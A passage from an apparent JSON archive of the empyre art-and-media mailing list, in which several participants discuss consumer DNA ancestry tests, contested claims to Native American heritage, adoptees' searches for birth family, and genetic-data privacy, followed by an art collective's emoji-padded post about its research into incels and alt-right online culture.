taking place here, basically unopposed by civil society, even in now liberal California. Actually I live in one of the last places in the US where this genocidal practice was commonly practiced, and is well documented. But people in my state hardly own up to it, and my own University system is deeply implicated. (Look up the history of Kroeber Hall at Berkeley, for example.) To put a personal spin on the matter, I have a couple of true believers in my own very white family. Honestly, people who have \"dream catchers\", believe they are part of a tribe - they are not registered and can not register with any actual tribe - and who believe that their blood puts them in deeper touch with the spirits of the land. I am not popular at family events, as you might imagine;-) Calling these false beliefs out, even among whites only, is still quite incendiary here.\n>> \n>> An other example of the obscene nature of this common identity theft comes in the figure of US senator Elizabeth Warren of Massachusetts. She was raised with these false beliefs, that she had natives in her family tree, and yes I do believe she has suffered a lot of well deserved embarrassment in the process of slowly coming around to personally owning her false family narrative. She is an otherwise sympathetic figure in most ways, and I should note, our president has belittled her in an explicitly racist manner, demonstrating the continuum between the soft and hard forms of racism in my country.\n>> \n>> DNA is fraught, we should be very careful call it out when we see it used as an identity prop for cultural appropriation. Our networks are full of this kind of theft and positioning, as if such reductive DNA results can possibly mean more than our experience within the more tangible web of social relations; how we individually experience privilege and discrimination. (Including generational effects.)\n>> \n>> Or that your DNA is what makes you a German or a Scot, as in the ridiculous commercial for Ancestry [.com] But in the US, the commercial shows how common these weird and often racist beliefs are. It is so sick, I feel like there must be lot of cultural specificity to it. I'd love to hear about how these DNA kits are playing out in other places.\n>> \n>> \n>> On 06/18/2018 07:37 AM, lizvlx wrote:\n>>> ----------empyre- soft-skinned space----------------------\n>>> _______________________________________________\n>>> empyre forum\n>>> empyre at lists.artdesign.unsw.edu.au\n>>> http://empyre.library.cornell.edu\n>> \n>> _______________________________________________\n>> empyre forum\n>> empyre at lists.artdesign.unsw.edu.au\n>> http://empyre.library.cornell.edu\n> \n> _______________________________________________\n> empyre forum\n> empyre at lists.artdesign.unsw.edu.au\n> http://empyre.library.cornell.edu\n\n",
                                        "date": "Tue Jun 19 18:49:56 AEST 2018",
                                        "message-id": "10327",
                                        "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2018-June/010327.html",
                                        "content-type": "n/a",
                                        "author_name": "Melinda Rackham",
                                        "subject": "[-empyre-] rehearsal of a network - [week 3]"
                                    },
                                    {
                                        "from": "crobbins at mindspring.com",
                                        "id": "10330",
                                        "content": "Good Morning All -\n\nWell\u2026.this thread is taking an unexpected twist.  Luxury may be in the mind of the beholder here relative to taking racial and cultural heritage.  \n\nMelinda, I, too, was adopted - from Catholic Charities - a larger story here and there.  But the searching for answers - the promise that is inherent in offerings - the services -  of these corporate entities - are predicated (as are many commodities) upon our own fantastical projections.  Seems like a child\u2019s common fantasy was coming from Royalty \u2026 in my case, the Kennedys :). Until I was in my twenties, I was told I was of a different ethnicity - and no one was the wiser as my physical appearance can lean in several regions depending on one\u2019s perspective.  So was I placeless, perhaps, but somehow I did feel anchored - a feeling for which I cannot account.  Perhaps it was that I was raised in the same region that my families had been for centuries, as opposed to being totally displaced geographically as well.  The Lenape( the original people)  had been in the Americas for a millennia or more.\n\nNonetheless, I had found my birth mother through an Underground Railroad of sorts - a \u201cmole\" working in the Federal Gov with whom I had been put in touch with by one of my students who had been working on a documentary on adoption.  This underground detective did this the hard way - looking through archival paper documents - this was the 90\u2019s and the govt. was not yet fully digitized. My matriarchal line held the Lenape line along with the Coe lineage ( British.) among a few more.  \n\nThe oral tradition had not been handed down to me over a lifetime but through a few visits in my adulthood that with were abruptly halted with her untimely death.  It was she that told me of the Lenape.  Ironically, the Coe family refutes any Lenape lineage as offered thru their familial DNA analysis - which the family archivist is steadfastly tracking online and which is how I traced myself back to the Puritans.  BTW, I found the Coes on FB -  When my mother who told me of the Lenape and also made me promise ( honest to God ) to track down the church (land)  in Manhattan that had been \u201cstolen\u201d from her family - talk about a fantasy - not to mention a financial incentive :). The Lenape is now represented by a 6% in the proverbial pie chart of my DNA analysis.  I had previously understood that it was more prominent but then again I have only taken one DNA test.  Nonetheless, the matriarchal oral tradition is operative \u2026 although not verifiable by our evidentiary analytical mechanisms \u2026. yet.  This is a chasm.\n\nActually, I took a DNA analysis to find out about my father - of whom no one would speak.  This also gave rise to many fantasies - not the least of which was the Sopranos - Italian, New Jersey - you may know what I am getting at.  But as they say there has been no cheese down that hole and so my new fantasy is that I may have been an Immaculate Conception :). The DNA analysis has not been helpful in sorting this one out -\n\nNeed to run but once again, many thanks for such a unexpected and enriching conversation.\n\nChris\n\n\n\n\n> On Jun 19, 2018, at 1:49 AM, Melinda Rackham <melinda at subtle.net> wrote:\n> \n> ----------empyre- soft-skinned space----------------------\n> Hi all,\n> great monthly topics.. and DNA talk compels me to respond..\n> my take on DNA  is rather different as an Adopted person without knowledge of my racial/cultural heritage\n> \n> I did as a kid dream I was misplaced child of European royalty, but alas my birth mum was just a young unmarried working class woman from the poorer suburbs shamed and bullied by society and religion into letting nuns take her child. she had another daughter she lost to adoption two years later. I have never met my 1/2 sister.\n> \n> so I am using DNA to locate my relatives - and I agree ist full of clich\u00e9s and stereotyping , especially when one runs ones results through different companies (ancestry, 23andMe, my heritage etc) . their ancestral algorithms are based on estimates and probabilities, not certainties,  and I come out racially differently in each result.\n> \n> My Scandanavian is overtaken by western European, I get to be more english and less Irish/Scottish in others, my precious bit of Persian decreases, while my Italian gains.  As well there are no DNA testing companies that have reliable reference SNP data from Indigenous Australians -so bad luck if you are looking.\n> \n> For me it is flawed on so many levels , but serious as its the only linkage I have to my paternal heritage, and to my adopted 1/2 sister. It also answers a few questions for me, like why having grown up in outback Australia I feel so at home safe and comfortable in European forests - why I feel very familiar with Denmark and Danish. \n> \n> Those that have the luxury of connection to heritage, I don't think could really understand what its like to not see anyone u look like, and that mirroring is a vital component of development, and have no threads to  cultures, society, or land.  Its a little like being a refugee from birth .. grateful for food and shelter but stricken with grief and loss - cant go back uncertain about going fwd, a placeless person.\n> \n> DNA promises a lot, but it doesn't deliver - almost like gambling- get a lead follow it, then people don't respond, etc.. .MyHeritage has a pro bono initiative DNA Quest which is supposed to  help adoptees and their birth families reunite through DNA testing- sending out 15,000  DNA kits for free.  But u still need the dedication to do the work to find and follow links and build thier network and info.  My favourite line in their blurb:\n> \" We hope to make this project a shining light for corporate philanthropy and an example to be followed by other commercial companies in their own lines of expertise, to help make our world a better place.\"\n> \n> And in all of this heart-felt searching, most companies ask if they can retain our DNA records for medical research .. building a Biodata Empire, and most people, thinking they are helping their fellows, say yes.\n> \n> happy testing \n> \n> Kerri Anne Burgess\n> as I was on my birth certificate before I was legally transformed into Melinda Rackham\n> \n> \n>> On 19 Jun 2018, at 10:03 am, Christiane Robbins <crobbins at mindspring.com> wrote:\n>> \n>> ----------empyre- soft-skinned space----------------------\n>> Brett,\n>> \n>> I couldn\u2019t agree more in that DNA kits are ripe for parody \u2026 the clich\u00e9s the stereotyping, the narrow bandwidth of race is utterly sophomoric and misleading.  That said, I take issue with the focus of your position below - the \u201cwill toward cultural appropriation\u201d, identity theft and the rush to judgement of an the exploitive branding as an identity prop for purposes of cultural appropriation\u2026. or if, as you may be implying, for financial gain.\n>> \n>> I, too, state this as a citizen of the USA.  My own ancestor was Robert Coe - an original puritan ( colonizer) displaced from the UK and arriving in MA - and a rather prolific one at that!.  My blood lines ( as it were ) speak to the amalgam of immigration patterns in the east coast of USA since 1635 .    These include the Lenape Tribe ( the original peoples,)  the British, the Irish, the German, the Italian, the Spanish, the Finnish and the Lebanese - and all of these speak to their own migratory patterns throughout the millennia that in themselves have been racialized and nationalized.  \n>> \n>> I am simply an exemplary example of 4 centuries of migratory co-mingling in what is now called the USA.   All are verifiable in my DNA analysis as well as the patriarchal names ( Coe, Maier, Cassidy, Allaway, etc.) And most significantly via an oral history that has been handed down to me through my matriarchal line - my mother.  This oral history is most incredible but now pales in responding to the evidentiary demands of verifiable data analysis of the 21st c the DNA analysis which has now taken center stage .  This is simply an apt metaphor for our moment in history.\n>> \n>> FYI, throughout the 17th, 18th and 19th century in the USA the Lenape tribes ( comprising 3 clans in NY, NJ, PA CT,and MD) my own ancestors, were decimated first by the Dutch, then the French and then the English - i.e.  Amherst and disordering of the disbursement of infected blankets.  As we all understand, colonial brutality, enslavement and native disappearance spread in waves across the racialized continent.\n>> \n>> My understanding is that numerous others, including Elizabeth Warren, also responded to an oral history in their claims to Cherokee blood.  I do not automatically associate this with Identity Theft - at all.  Anyone who is actually familiar with Native American Tribal histories understands this respected oral tradition - as well as the tribal politics due the fairly recent financial gains by tribal investments and assets.    As the survivors fled south - some following the \"Trail of Tears\" they became one with the Cherokee tribes who eventually settled in Oklahoma - and again co-mingled.  In scapegoating Elizabeth Warren - you seem to do so from limited understanding of these histories and their respective operative and systemic racisms.\n>> \n>> Thanks to all for a stimulating conversation - once again!\n>> \n>> Best,\n>> \n>> Chris\n>> \n>> \n>> \n>>> On Jun 18, 2018, at 12:45 PM, BStalbaum <bstalbaum at ucsd.edu> wrote:\n>>> \n>>> ----------empyre- soft-skinned space----------------------\n>>> DNA kits have become hilarious, painfully unaware self parodies of the will toward cultural appropriation. (Just for one example: https://www.youtube.com/watch?v=84LnTrQ2us8 ) Of course I say this as a citizen of the U.S. Our context is particular and perverse, one in which some substantial proportion of the white population believes they are in the \"blood line\" (we still have a lot of strong premodern beliefs like \"the blood\"...) of indigenous North American peoples. Most of whom we killed, so the common case of whites who make very strong claims to native ancestry is particularly perverse. It is only ~100 years since the open, armed hunting of native people was still taking place here, basically unopposed by civil society, even in now liberal California. Actually I live in one of the last places in the US where this genocidal practice was commonly practiced, and is well documented. But people in my state hardly own up to it, and my own University system is deeply implicated. (Look up the history of Kroeber Hall at Berkeley, for example.) To put a personal spin on the matter, I have a couple of true believers in my own very white family. Honestly, people who have \"dream catchers\", believe they are part of a tribe - they are not registered and can not register with any actual tribe - and who believe that their blood puts them in deeper touch with the spirits of the land. I am not popular at family events, as you might imagine;-) Calling these false beliefs out, even among whites only, is still quite incendiary here.\n>>> \n>>> An other example of the obscene nature of this common identity theft comes in the figure of US senator Elizabeth Warren of Massachusetts. She was raised with these false beliefs, that she had natives in her family tree, and yes I do believe she has suffered a lot of well deserved embarrassment in the process of slowly coming around to personally owning her false family narrative. She is an otherwise sympathetic figure in most ways, and I should note, our president has belittled her in an explicitly racist manner, demonstrating the continuum between the soft and hard forms of racism in my country.\n>>> \n>>> DNA is fraught, we should be very careful call it out when we see it used as an identity prop for cultural appropriation. Our networks are full of this kind of theft and positioning, as if such reductive DNA results can possibly mean more than our experience within the more tangible web of social relations; how we individually experience privilege and discrimination. (Including generational effects.)\n>>> \n>>> Or that your DNA is what makes you a German or a Scot, as in the ridiculous commercial for Ancestry [.com] But in the US, the commercial shows how common these weird and often racist beliefs are. It is so sick, I feel like there must be lot of cultural specificity to it. I'd love to hear about how these DNA kits are playing out in other places.\n>>> \n>>> \n>>> On 06/18/2018 07:37 AM, lizvlx wrote:\n>>>> ----------empyre- soft-skinned space----------------------\n>>>> _______________________________________________\n>>>> empyre forum\n>>>> empyre at lists.artdesign.unsw.edu.au\n>>>> http://empyre.library.cornell.edu\n>>> \n>>> _______________________________________________\n>>> empyre forum\n>>> empyre at lists.artdesign.unsw.edu.au\n>>> http://empyre.library.cornell.edu\n>> \n>> _______________________________________________\n>> empyre forum\n>> empyre at lists.artdesign.unsw.edu.au\n>> http://empyre.library.cornell.edu\n> \n> _______________________________________________\n> empyre forum\n> empyre at lists.artdesign.unsw.edu.au\n> http://empyre.library.cornell.edu\n\n",
                                        "date": "Wed Jun 20 02:09:50 AEST 2018",
                                        "message-id": "10330",
                                        "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2018-June/010330.html",
                                        "content-type": "n/a",
                                        "author_name": "Christiane Robbins",
                                        "subject": "[-empyre-] rehearsal of a network - [week 3]"
                                    },
                                    {
                                        "from": "liz at ubermorgen.com",
                                        "id": "10331",
                                        "content": "\ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11  \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11\ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 hello again\ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11\ud83d\udc11 \ud83d\udc11 \ud83d\udc11 four things\ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11  \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 I read this text and it is to be read: https://eand.co/why-were-one-step-away-from-the-abyss-4ef01d70937b <https://eand.co/why-were-one-step-away-from-the-abyss-4ef01d70937b> \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11  \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11\ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11  \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11\ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11  \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 DNA - I am not adopted, the only great grandparent that is unknown in my family is the Roman Catholic priest that was my grandfather\u2019s father :D .. But I have no known greek ancestry, neither northern African. I suspect that there might be a cluster of Sicilian DNA in upper Austria - but that is a work in progress theory, I still have a great aunt that is alive and I need to make her get tested to find out more. But thats more on a personal note.\ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11  \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11  \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11\ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 DNA - the Datenschutzaspekt (I rather use German when it comes to data protection as there is no powerful terminology in English) - the problem when signing up for a DNA analysis is a) trusting the company that they won\u2019t fuck around with your data (and if you live in the USA you will be a fool to trust em) and b) you are making a decision not about your own DNA but for the whole of your close family. This is an impossible decision - me mistress of the impossible of course had no problem tackling this hurdle. Seriously, I would have never taken the test if I were living in the USA, too dangerous. I decided to do it as I do believe that future will be one where everybody\u2019s DNA will be screened known bartered with etc. There is no way to stop this (the only good thing to get out of these tests is have a non-mutt person is the exemption of the rule and all this race bullshit just does not compute). \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11  \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11\ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11  \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11\ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11  \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11\ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11  \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11Heartless psychopaths. What a lovely topic. For this topic, UBERMORGEN has been researching for the last year. We are calling it Binary Primitivism. We focused on analysing: pornography (also over time, trends, normalisation of criminal sexual abuse, hypnoporn) incels (thats the notorious Involuntary Celibates; we had done a piece on Elliot Rodger aka Santa Barbara Killer a little time ago and he is not the GOD of the movement, a movement that is terrorising online and RL communities) Alt.right (mostly their social media tactics of - again - immersiveness Online Gaming Environments (well u gotta play with em boys). Got some links hereto: https://player.vimeo.com/video/137939689 <https://player.vimeo.com/video/137939689> - video \u201cNice Vanilla Latte\u201d, feat. Elliot Rodger, UBERMORGEN 2015 https://twitter.com/ElliotRodgerGod <https://twitter.com/ElliotRodgerGod> - his twitter account that is still live and now used by a friend of his DO NOT REPORT THIS ACCOUNT COZ THIS A GREAT RESSOURCE http://vaporwave.breitbart.pro/ <http://vaporwave.breitbart.pro/> this is unreleased work in progress - one example of imagery etc we produce and then insert into the networks of the heartless psychopaths.\ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11  \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 